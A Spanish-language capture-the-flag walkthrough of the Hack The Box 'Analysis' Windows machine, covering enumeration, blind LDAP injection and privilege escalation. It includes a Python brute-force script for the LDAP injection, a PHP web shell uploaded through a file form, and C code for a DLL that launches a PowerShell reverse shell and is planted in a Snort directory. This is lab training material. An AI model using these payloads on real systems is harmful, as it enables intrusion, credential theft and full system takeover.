HTB Analysis Writeup
Muy buenas con todos, el día de hoy voy a resolver la máquina Analysis
de HTB, espero que el procedimiento sea de su agrado y fácil de comprender.
Reconocimiento
Primero vemos si tenemos conexión con la máquina y de paso gracias al ttl
identificamos ante el tipo de máquina que estamos, en linux
este suele ser de 64 y en windows
de 128.
1
2
3
4
5
6
7
ping -c 1 10.10.11.250
PING 10.10.11.250 (10.10.11.250) 56(84) bytes of data.
64 bytes from 10.10.11.250: icmp_seq=1 ttl=127 time=96.6 ms
--- 10.10.11.250 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 96.571/96.571/96.571/0.000 ms
Vemos que el ttl
de la máquina es de 127, el cual está próximo a 128 por ende nos encontramos ante una máquina Windows
.
Ahora, con la herramienta nmap
lanzamos un escaneo en donde vamos a enumerar los puertos que se encuentran abiertos en la máquina.
1
nmap -p- --epen -sS --min-rate 5000 -vvv -n -Pn 10.10.11.250 -oG ports
Aquí generamos un archivo en formato grepeable y hacemos uso de la función extarctPorts de s4vitar.
1
extractPorts ports
Ahora, con el número de los puertos copiados en el portapapeles, lanzamos otro escaneo para enumerar el servicio que corren por los puertos.
1
nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,3306,5985,9389,33060,47001,49664,49665,49666,49667,49671,49674,49675,49676,49677,49684,49711,50228 10.10.11.250 -oN target
Aquí generamos un archivo en el formato normal de nmap
en donde se nos muestra más información de los servicios que corren por esos puertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
PORT STATE SERVICE versión
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-05-31 22:27:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3306/tcp open mysql MySQL (unauthorized)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
33060/tcp open mysqlx MySQL X protocol listener
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49684/tcp open msrpc Microsoft Windows RPC
49711/tcp open msrpc Microsoft Windows RPC
50228/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC-ANALYSIS; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -1s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-05-31T22:28:05
|_ start_date: N/A
Vemos que tenemos un dominio analysis.htb
, así que lo agregamos al /etc/hosts
.
1
2
3
4
5
127.0.0.1 localhost
::1 localhost
127.0.0.1 machinename.localhost machinename
10.10.11.250 analysis.htb
Enumerar subdominios
Como hay muchos puertos abiertos vamos a ir uno por uno, primero con el puerto 53, vamos a enumerar subdominios.
1
2
3
4
5
dig analysis.htb @10.10.11.250 axfr
; <<>> DiG 9.18.27 <<>> analysis.htb @10.10.11.250 axfr
;; global options: +cmd
; Transfer failed.
Tratamos de hacer un ataque de transferencia de zona pero no nos da ningún resultado.
Ahora haciendo uso de ffuf
, seguimos enumerando mas subdominios.
1
ffuf -t 100 -w diccionario.txt -H "HOST: FUZZ.analysis.htb" -u http://analysis.htb
Nos encuentra otro bajo el nombre internal.analysis.htb
y también lo agregamos al /etc/hosts
. Si nos dirigimos a la web, vemos que el único que resuelve a nivel web es el último subdominio encontrado, pero por el momento seguimos con enumerando.
Enumerar usuarios
1
kerbrute userenum -t 100 diccionario.txt --dc 10.10.11.250 -d analysis.htb
Vemos que nos enumera algunos usuarios, así que podemos guardarlos en un archivo
LDAP Injection
Ahora vamos a la web, precisamente en el subdominio internal.analysis.htb
, vemos que es un forbiden, así que comenzamos a fuzzear.
1
ffuf -c -t 100 -w diccionario.txt -u http://internal.analysis.htb/FUZZ
Nos devuelve algunas rutas, pero nada interesante, así que seguimos buscando sobre las nuevas rutas, como la web está hecha con php según wappalyzer, comenzamos a buscar con extensión php
.
1
ffuf -c -t 100 -w diccionario.txt -u http://internal.analysis.htb/users/FUZZ.php
Nos devuelve una ruta, en donde nos sale un mensaje solicitado un parámetro, así que me gustaria pensar que podemos intentar fuzzear eso.
1
ffuf -c -t 100 -w diccionario.txt -u 'http://internal.analysis.htb/users/list.php?FUZZ' -fw 2
Vemos que el parámetro esperado es name.
Vemos una tabla con diferentes tipos de datos, así que procedemos a probar algunos caracteres para ver la respuesta, y nos percatamos que cuando ponemos un *
, los datos de la tabla cambian y podemos ver un usuario que previamente se enumeró por kerberos
.
Luego de diferentes pruebas se logra ver que estamos ante una LDAP Injection
, según el carácter probado los datos en la tabla cambian, así que con el siguiente script realizamos el ataque.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python3
from pwn import *
import requests, string, signal
def def_handler(sig, frame):
print("\n [!] Saliendo... ")
sys.exit(1)
# crtl + c
signal.signal(signal.SIGINT, def_handler)
charset = string.ascii_letters + string.digits + string.punctuation
url = "http://internal.analysis.htb/users/list.php?name=*)(%26(objectClass=user)(description=FUZZ*)"
clair = ""
p1 = log.progress(f"Iniciando fuerza bruta: ")
p2 = log.progress(f"Caracteres validos: ")
while len(clair) < 14:
found_valid_char = False
for char in charset:
payload = url.replace("FUZZ", clair + char)
response = requests.get(payload)
p1.status(payload)
if "technician" in response.text:
clair += char
p2.status(clair)
found_valid_char = True
break
if not found_valid_char:
clair += "*"
Obtenemos lo que parece ser una contraseña, así que lo probamos en la siguiente ruta
http://internal.analysis.htb/employees/login.php
, con el usuario que nos salió en la tabla.
Ganando acceso
Logramos ingresar y somos admin en lo que parece ser un panel de análisis a incidentes de ciberseguridad, en la parte del SOC Report, vemos que podemos subir un archivo, así que como la web está hecha con php
, subimos un archivo el cual nos permita ejecutar comandos.
1
2
3
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
Una vez subimos el archivo, tenemos que ver en que ruta se encuentra y este se localiza aquí http://internal.analysis.htb/dashboard/uploads/pwned.php
, ahora mediante el parámetro cmd
, que le agregamos, vemos si podemos ejecutar comandos.
Ahora nos vamos aquí y usamos la Powershell #3 (Base64)
para entrablar una conexión.
Pivotar de usuario
Estamos como el usuario svc_web
, no podemos ver la flag del usuario aún, así que toca enumerar. Podemos buscar si hay alguna credencial, almacenada.
1
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Currentversión\Winlogon"
Vemos que tenemos una credencial y un usuario, como el puerto 5985 (Windows Remote Management) está abierto, podemos ver si podemos ingresar usando evil-winrm
Logramos ingresar como el usuario jdoe
y podemos ver la primera flag.
Escalada de privilegios
Seguimos enumerando par ver como lograr obtener acceso como el usuario Administrador
, buscando un poco vemos algo llamado Snort
, podemos ver su versión.
Buscando un poco aquí, nos explican que esa versión es vulnerable y como explotar esa vulnerabilidad.
Para ello nos creamos un pequeño código en C
y veamos que se acontece.
1
2
3
4
5
6
7
8
9
10
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason) {
case DLL_PROCESS_ATTACH:
system("powershell -e base64-rev-shell");
break;
}
return TRUE;
}
Luego esto lo compilamos.
1
x86_64-w64-mingw32-gcc -shared -o tcapi.dll tcapi.c
Lo subimos el .dll
a esta ruta C:\Snort\lib\snort_dynamicpreprocessor
del sistema y esperamos a que se ejecute el script.
Ahora vemos que se estableció la conexión con la máquina, y somos el usuario Administrador y podemos ver la flag final.